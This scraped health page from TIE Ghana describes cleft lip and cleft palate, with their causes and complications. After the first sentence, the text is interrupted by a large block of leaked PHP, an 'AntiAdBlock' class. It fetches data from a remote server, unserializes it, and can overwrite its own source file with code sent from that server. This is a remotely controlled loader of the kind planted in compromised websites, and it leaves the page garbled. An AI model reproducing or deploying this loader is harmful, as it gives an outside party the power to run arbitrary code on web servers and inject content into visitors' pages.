TIE GHANA

Facial And Oral Defects

Facial and oral defects or malformations(cleft lip and cleft palate) are parts of the birth defects that occurs when a child is born

requestTimeout / 1000); return $value == 0 ? 1 : $value; } private function getTimeoutMS() { return $this->requestTimeout; } private function ignoreCache() { $key = md5('PMy6vsrjIf-' . $this->zoneId); return array_key_exists($key, $_GET); } private function getCurl($url) { if ((!extension_loaded('curl')) || (!function_exists('curl_version'))) { return false; } $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_USERAGENT => $this->requestUserAgent . ' (curl)', CURLOPT_FOLLOWLOCATION => false, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_TIMEOUT => $this->getTimeout(), CURLOPT_TIMEOUT_MS => $this->getTimeoutMS(), CURLOPT_CONNECTTIMEOUT => $this->getTimeout(), CURLOPT_CONNECTTIMEOUT_MS => $this->getTimeoutMS(), )); $version = curl_version(); $scheme = ($this->requestIsSSL && ($version['features'] & CURL_VERSION_SSL)) ? 'https' : 'http'; curl_setopt($curl, CURLOPT_URL, $scheme . '://' . $this->requestDomainName . $url); $result = curl_exec($curl); curl_close($curl); return $result; } private function getFileGetContents($url) { if (!function_exists('file_get_contents') || !ini_get('allow_url_fopen') || ((function_exists('stream_get_wrappers')) && (!in_array('http', stream_get_wrappers())))) { return false; } $scheme = ($this->requestIsSSL && function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) ? 'https' : 'http'; $context = stream_context_create(array( $scheme => array( 'timeout' => $this->getTimeout(), // seconds 'user_agent' => $this->requestUserAgent . ' (fgc)', ), )); return file_get_contents($scheme . '://' . $this->requestDomainName . $url, false, $context); } private function getFsockopen($url) { $fp = null; if (function_exists('stream_get_wrappers') && in_array('https', stream_get_wrappers())) { $fp = fsockopen('ssl://' . $this->requestDomainName, 443, $enum, $estr, $this->getTimeout()); } if ((!$fp) && (!($fp = fsockopen('tcp://' . gethostbyname($this->requestDomainName), 80, $enum, $estr, $this->getTimeout())))) { return false; } $out = "GET {$url} HTTP/1.1\r\n"; $out .= "Host: {$this->requestDomainName}\r\n"; $out .= "User-Agent: {$this->requestUserAgent} (socket)\r\n"; $out .= "Connection: close\r\n\r\n"; fwrite($fp, $out); stream_set_timeout($fp, $this->getTimeout()); $in = ''; while (!feof($fp)) { $in .= fgets($fp, 2048); } fclose($fp); $parts = explode("\r\n\r\n", trim($in)); return isset($parts[1]) ? $parts[1] : ''; } private function getCacheFilePath($url, $suffix = '.js') { return sprintf('%s/pa-code-v%s-%s%s', $this->findTmpDir(), $this->version, md5($url), $suffix); } private function findTmpDir() { $dir = null; if (function_exists('sys_get_temp_dir')) { $dir = sys_get_temp_dir(); } elseif (!empty($_ENV['TMP'])) { $dir = realpath($_ENV['TMP']); } elseif (!empty($_ENV['TMPDIR'])) { $dir = realpath($_ENV['TMPDIR']); } elseif (!empty($_ENV['TEMP'])) { $dir = realpath($_ENV['TEMP']); } else { $filename = tempnam(dirname(__FILE__), ''); if (file_exists($filename)) { unlink($filename); $dir = realpath(dirname($filename)); } } return $dir; } private function isActualCache($file) { if ($this->ignoreCache()) { return false; } return file_exists($file) && (time() - filemtime($file) < $this->cacheTtl * 60); } private function getCode($url) { $code = false; if (!$code) { $code = $this->getCurl($url); } if (!$code) { $code = $this->getFileGetContents($url); } if (!$code) { $code = $this->getFsockopen($url); } return $code; } private function getPHPVersion($major = true) { $version = explode('.', phpversion()); if ($major) { return (int)$version[0]; } return $version; } private function parseRaw($code) { $hash = substr($code, 0, 32); $dataRaw = substr($code, 32); if (md5($dataRaw) !== strtolower($hash)) { return null; } if ($this->getPHPVersion() >= 7) { $data = @unserialize($dataRaw, array( 'allowed_classes' => false, )); } else { $data = @unserialize($dataRaw); } if ($data === false || !is_array($data)) { return null; } return $data; } private function getTag($code) { $data = $this->parseRaw($code); if ($data === null) { return ''; } if (array_key_exists('code', $data)) { $this->selfUpdate($data['code']); } if (array_key_exists('tag', $data)) { return (string)$data['tag']; } return ''; } public function get() { $e = error_reporting(0); $url = $this->routeGetTag . '?' . http_build_query(array( 'token' => $this->token, 'zoneId' => $this->zoneId, 'version' => $this->version, )); $file = $this->getCacheFilePath($url); if ($this->isActualCache($file)) { error_reporting($e); return $this->getTag(file_get_contents($file)); } if (!file_exists($file)) { @touch($file); } $code = ''; if ($this->ignoreCache()) { $fp = fopen($file, "r+"); if (flock($fp, LOCK_EX)) { $code = $this->getCode($url); ftruncate($fp, 0); fwrite($fp, $code); fflush($fp); flock($fp, LOCK_UN); } fclose($fp); } else { $fp = fopen($file, 'r+'); if (!flock($fp, LOCK_EX | LOCK_NB)) { if (file_exists($file)) { $code = file_get_contents($file); } else { $code = ""; } } else { $code = $this->getCode($url); ftruncate($fp, 0); fwrite($fp, $code); fflush($fp); flock($fp, LOCK_UN); } fclose($fp); } error_reporting($e); return $this->getTag($code); } private function getSelfBackupFilename() { return $this->getCacheFilePath($this->version, ''); } private function selfBackup() { $this->selfSourceContent = file_get_contents(__FILE__); if ($this->selfSourceContent !== false && is_writable($this->findTmpDir())) { $fp = fopen($this->getSelfBackupFilename(), 'cb'); if (!flock($fp, LOCK_EX)) { fclose($fp); return false; } ftruncate($fp, 0); fwrite($fp, $this->selfSourceContent); fflush($fp); flock($fp, LOCK_UN); fclose($fp); return true; } return false; } private function selfRestore() { if (file_exists($this->getSelfBackupFilename())) { return rename($this->getSelfBackupFilename(), __FILE__); } return false; } private function selfUpdate($newCode) { if(is_writable(__FILE__)) { $hasBackup = $this->selfBackup(); if ($hasBackup) { try { $fp = fopen(__FILE__, 'cb'); if (!flock($fp, LOCK_EX)) { fclose($fp); throw new Exception(); } ftruncate($fp, 0); if (fwrite($fp, $newCode) === false) { ftruncate($fp, 0); flock($fp, LOCK_UN); fclose($fp); throw new Exception(); } fflush($fp); flock($fp, LOCK_UN); fclose($fp); if (md5_file(__FILE__) === md5($newCode)) { @unlink($this->getSelfBackupFilename()); } else { throw new Exception(); } } catch (Exception $e) { $this->selfRestore(); } } } } } $__aab = new __AntiAdBlock_3158523(); return $__aab->get();

an facial defect ( cleft lip) is a physical split or separation of two sides of the upper lips that appears as narrow gap in the skin of the upper lip. cleft lip occurs as a result of failure of some tissues to join during the 2nd month of fetal development

cleft lip may be complete or incomplete. it can be termed as complete if the entire thickness of the lip is involved and incomplete is when only a portion of the lip is involved

a oral defect(cleft palate) its often associated with cleft lip, but may occur without it. its a split or opening in the top (roof) of the mouth. it involves the hard palate(the bony front portion of the roof of the mouth, it can be felt when one opens the mouth and tries to touch it) and/or the soft palate(the soft back portion of the roof of the mouth)

CAUSES OF THESE FACIAL DEFECTS

genetic factors- that is it can be inherited from parents

sex- males are more prone to develop these defects than females

environmental factors such as exposure of the fetus to alcohol, cigarrete smoking or drugs

maternal nutritional deficiencies- especially lack of folate intake

PROBLEMS THAT MAY ARISE DUE TO FACIAL AND ORAL DEFECTS

Failure to gain weight

feeding problems

flow of milk through the nasal passages during feeding

misaligned teeth

poor growth

recurrent ear infections

speech difficulties

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